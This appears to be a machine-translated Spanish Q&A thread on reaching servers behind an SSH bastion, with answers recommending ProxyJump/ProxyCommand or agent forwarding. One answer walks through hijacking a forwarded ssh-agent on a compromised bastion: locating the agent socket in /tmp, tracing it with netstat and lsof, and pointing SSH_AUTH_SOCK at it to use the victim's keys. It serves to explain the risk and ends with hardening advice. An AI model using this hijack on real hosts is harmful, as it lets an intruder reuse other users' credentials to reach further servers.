Usar ProxyCommand o ProxyJump
Recomendaría usar ProxyCommand
(o incluso mejor ProxyJump
ya que la sintaxis es más sencilla pero requiere openssh 7.3+, creo que en el lado del cliente), y no necesita implementar una clave privada en Bastion, todo permanece local.
Ejemplo con ProxyJump
En su computadora cliente, escriba un archivo bajo ~/.ssh/config
con un contenido similar al siguiente:
Host bastion
HostName bastion.example.com
User bastion-user
Port 22
IdentityFile ~/.ssh/id_bastion
Host srvC
HostName srvC.local
User server-user
IdentityFile ~/.ssh/id_protected_lan
ProxyJump bastion
Luego haciendo ssh srvC
lo conectará a C a través de B (bastión) sin el reenvío de agentes ni la implementación de la clave privada en el bastión.
En el ejemplo anterior, "bastion" es un alias de su host Bastion y srvC es un alias de su servidor C. En el HostName
debe colocar direcciones IP o un nombre de dominio real totalmente calificado para sus hosts. Para los usuarios, debe actualizar el User
para el nombre de inicio de sesión correcto en Bastion y el servidor C. Finalmente, el IdentityFile
es opcional si usa un agente local (por ejemplo, KeeAgent o ssh-agent), pero si no se está ejecutando, también funcionará y le pedirá las frases de contraseña de cada clave.
Implementación de claves públicas
Por supuesto, debe implementar el público claves tanto para bastión como para srvC. Puede usar (el signo $ es solo para ilustrar el aviso, no lo escriba):
$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
srvC
Nota:lo anterior funcionará solo si aún se permite la autenticación de contraseña. Después de la implementación anterior y de verificar que todo funcione según lo previsto, debe deshabilitar la autenticación de contraseña en los 2 servidores.
Ejemplo con ProxyCommand en lugar de ProxyJump
Si tiene una versión anterior de OpenSSH que no es compatible con ProxyJump
(en el lado del cliente), luego reemplace:
ProxyJump bastion
por
ProxyCommand ssh -q -W %h:%p bastion
Por lo que entendí, esto es similar.
Vi la respuesta sobre ProxyJump. Hablemos de ProxyCommand .
¡Pero espera, espera! Puedo escribirte cómo hackear el servidor que utiliza el reenvío de agentes, ¡eso sería mucho más fácil de entender la diferencia!
¡Vamos a hackear!
Para los pasos básicos:puedes leer mi publicación aquí
Los pasos básicos son los siguientes:
- Crear usuarios bastión
- Deshabilitar inicio de sesión raíz
- Bloquear intentos de piratería
- Cambiar puerto
- Configurar cortafuegos
- Configurar SELinux
Cómo usar AgentForwarding
-Crear configuración en ~/.ssh/config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Agregue su clave de autenticación a ssh-agent
ssh-add ~/.ssh/name_rsa
-Conectar a bastión hos
ssh bast
-Conectar servidor de aplicaciones desde el bastión
ssh [email protected] -p PORT
¡Hackear!
Puede, bueno, hacerme la pregunta:
-
¿Es seguro mi servidor? Y la respuesta es bastante simple:
- ¡NO!
-
¿Por qué?
- ¡Porque está utilizando el reenvío de agente SSH!
-
¿Y dónde está el problema?
- Porque el reenvío de agentes es peligroso y se considera dañino.
-
¿Por qué?
- Expliquémoslo todo de adentro hacia afuera:cuando se conecta al host bastión, se reenvía su glorioso ssh-agent. Significa que el socket se configurará para que alguien pueda usar estos datos de socket para acceder a sus servidores. Imagine que su servidor bastión está comprometido. Si alguien tiene suficientes permisos en su servidor Linux, simplemente usará la información de su socket. Como resultado, se puede acceder a todo su servidor. Sé que la ventana de compromiso es muy pequeña porque depende de cuánto tiempo esté conectado al host bastión. Pero, ¿realmente quiere correr el riesgo cuando tiene otras opciones como ProxyCommand? Por lo tanto, ¡simplemente use ProxyCommand!
¿Cómo piratear servidores si comprometió el host bastión?
Objetivo de seguimiento
En el directorio /tmp puede ver algo así:
[[email protected] tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Abramos el archivo temporal
[[email protected] tmp]# cd ssh-mKX88v0Vlo/
[[email protected] ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Veamos conexiones a este ID de proceso.
netstat -nxp | grep 10507
resultado:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
y ¿quién está conectado?
lsof -i -a -p 10507
resultado:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
También podemos ver archivos de socket:
cd /proc/10507/fd/
ls
resultado:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Y qué sucede cuando el cliente se conectará al servidor remoto? veamos:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Incluso podemos ver si el archivo de socket se usa usando netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Robar información de socket y dirección IP
Ahora necesitamos robar la información del socket mientras la sesión del host bastión está abierta . Oh, también necesitamos IP del servidor de destino , así que solo usa netstat:
netstat -tn
El paso final para usar el archivo de socket reenviado
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Comprueba si la clave está cargada .
ssh-add -l
el resultado debería ser algo así :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
El servidor está pirateado, ¿cómo solucionar el problema de seguridad?
Comando de proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Para operaciones básicas:cómo transferir archivos a través de los servidores (de cliente a servidor, de servidor a cliente), puede leer en mi publicación aquí
Conclusión
- Si usa host bastión, no use AgentForwarding sino ProxyCommand
- Utilice siempre un usuario no root para la autenticación
- Utilice un cortafuegos y bloquee todas las conexiones innecesarias.
- Usar SELinux (en general)
- Bloquear la dirección IP que intenta iniciar sesión varias veces con credenciales incorrectas
- Si no es necesario, no le dé permiso de sudo al usuario
- Supervise su servidor
- Actualice su servidor para parches de seguridad
Más información, ver mi blog. Además, tengo algunas capturas de pantalla, por lo que puede ser útil para usted.
Simplemente use reenvío de agente SSH como la mayoría de los demás.
- Las claves estarán en ssh agent en tu portátil.
- Usted inicia sesión en Bastion, autenticado a través del agente.
- Desde allí, inicie sesión en su host de destino, con la solicitud de autenticación reenviada a su computadora portátil .
Ventaja:no hay claves almacenadas en el bastión que puedan ser mal utilizadas.
Espero que ayude :)